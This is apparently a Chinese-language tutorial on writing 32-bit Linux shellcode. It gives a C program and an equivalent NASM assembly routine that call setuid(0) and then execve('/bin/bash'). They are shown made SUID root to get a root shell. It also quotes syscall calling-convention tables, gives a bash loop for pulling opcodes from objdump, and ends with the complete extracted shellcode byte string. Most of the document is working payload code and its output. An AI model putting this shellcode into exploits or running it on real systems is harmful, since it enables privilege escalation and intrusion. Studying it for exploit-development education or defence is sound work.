shellcode编写
retsh.c
// retsh.c
#include<unistd.h>
char* buff[] = {
"/bin/bash"
};
void main(){
setuid(0);
execve("/bin/bash", buff, NULL);
}
与x64相同,都用这段代码。将这段代码设置suid
标志,且所属用户设置为root
即可实现越权
rz$ gcc -m32 retsh.c -o retsh
rz$ sudo chown root.root retsh
rz$ sudo chmod u+s retsh
rz$ ./retsh
root# whoami
root
系统调用
在目录/usr/include/asm/unistd.h
下可查看系统调用号
# define __NR_execve 11
# define __NR_setuid 23
陷入内核
通过man syscall
,可查看不同架构下陷入内核的方法和参数传递方式
-
进入内核
arch/ABI instruction syscall # retval error Notes ──────────────────────────────────────────────────────────────────── alpha callsys v0 a0 a3 [1] arc trap0 r8 r0 - arm/OABI swi NR - a1 - [2] arm/EABI swi 0x0 r7 r0 - arm64 svc #0 x8 x0 - blackfin excpt 0x0 P0 R0 - i386 int $0x80 eax eax - ia64 break 0x100000 r15 r8 r10 [1] m68k trap #0 d0 d0 - microblaze brki r14,8 r12 r3 - mips syscall v0 v0 a3 [1] nios2 trap r2 r2 r7 parisc ble 0x100(%sr2, %r0) r20 r28 - powerpc sc r0 r3 r0 [1] s390 svc 0 r1 r2 - [3] s390x svc 0 r1 r2 - [3] superh trap #0x17 r3 r0 - [4] sparc/32 t 0x10 g1 o0 psr/csr [1] sparc/64 t 0x6d g1 o0 psr/csr [1] tile swint1 R10 R00 R01 [1] x86-64 syscall rax rax - [5] x32 syscall rax rax - [5] xtensa syscall a2 a2 - Notes: [1] On a few architectures, a register is used as a boolean (0 indicating no error, and -1 indicating an error) to signal that the system call failed. The actual error value is still contained in the return register. On sparc, the carry bit (csr) in the pro‐ cessor status register (psr) is used instead of a full register. [2] NR is the system call number. [3] For s390 and s390x, NR (the system call number) may be passed directly with svc NR if it is less than 256. [4] On SuperH, the trap number controls the maximum number of arguments passed. A trap #0x10 can be used with only 0-argument system calls, a trap #0x11 can be used with 0- or 1-argument system calls, and so on up to trap #0x17 for 7-argument system calls. [5] The x32 ABI uses the same instruction as the x86-64 ABI and is used on the same processors. To differentiate between them, the bit mask __X32_SYSCALL_BIT is bitwise-ORed into the system call number for system calls under the x32 ABI. Both system call tables are available though, so setting the bit is not a hard requirement.
-
参数传递
arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes ────────────────────────────────────────────────────────────── alpha a0 a1 a2 a3 a4 a5 - arc r0 r1 r2 r3 r4 r5 - arm/OABI a1 a2 a3 a4 v1 v2 v3 arm/EABI r0 r1 r2 r3 r4 r5 r6 arm64 x0 x1 x2 x3 x4 x5 - blackfin R0 R1 R2 R3 R4 R5 - i386 ebx ecx edx esi edi ebp - ia64 out0 out1 out2 out3 out4 out5 - m68k d1 d2 d3 d4 d5 a0 - microblaze r5 r6 r7 r8 r9 r10 - mips/o32 a0 a1 a2 a3 - - - [1] mips/n32,64 a0 a1 a2 a3 a4 a5 - nios2 r4 r5 r6 r7 r8 r9 - parisc r26 r25 r24 r23 r22 r21 - powerpc r3 r4 r5 r6 r7 r8 r9 s390 r2 r3 r4 r5 r6 r7 - s390x r2 r3 r4 r5 r6 r7 - superh r4 r5 r6 r7 r0 r1 r2 sparc/32 o0 o1 o2 o3 o4 o5 - sparc/64 o0 o1 o2 o3 o4 o5 - tile R00 R01 R02 R03 R04 R05 - x86-64 rdi rsi rdx r10 r8 r9 - x32 rdi rsi rdx r10 r8 r9 - xtensa a6 a3 a4 a5 a8 a9 - Notes: [1] The mips/o32 system call convention passes arguments 5 through 8 on the user stack.
编写汇编代码
; shell.asm
global _start
_start:
; setuid(0)
xor ebx, ebx ; 0
xor eax, eax
mov al, 23 ; setuid -> 23
int 0x80
; execve('/bin/bash', (char**)'/bin/bash', NULL)
xor edx, edx ; edx -> NULL
xor eax, eax
mov al, 0x68
push eax
mov eax, 0x7361622f
push eax
mov eax, 0x6e69622f
push eax ;/bin/bash 压栈
mov ebx, esp ; ebx -> char* /bin/bash
xor eax, eax
push eax
push ebx
mov ecx, esp ; ecx -> char** /bin/bash
mov al,11 ; execve -> 11
int 0x80
编译链接
rz$ nasm -f elf shell.asm -o shell.o
rz$ ld -m elf_i386 shell.o -o shell
验证
rz$ sudo chown root.root shell
rz$ sudo chmod u+s shell
rz$ ./shell
root# whoami
root
提取shellcode
for i in `objdump -d shell.o | grep "^[[:space:]]*[0-9a-f]\+:" | cut -f 2`; do
echo -n \\x$i
done
\x31\xdb\x31\xc0\xb0\x17\xcd\x80\x31\xd2\x31\xc0\xb0\x68\x50\xb8\x2f\x62\x61\x73\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe
3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80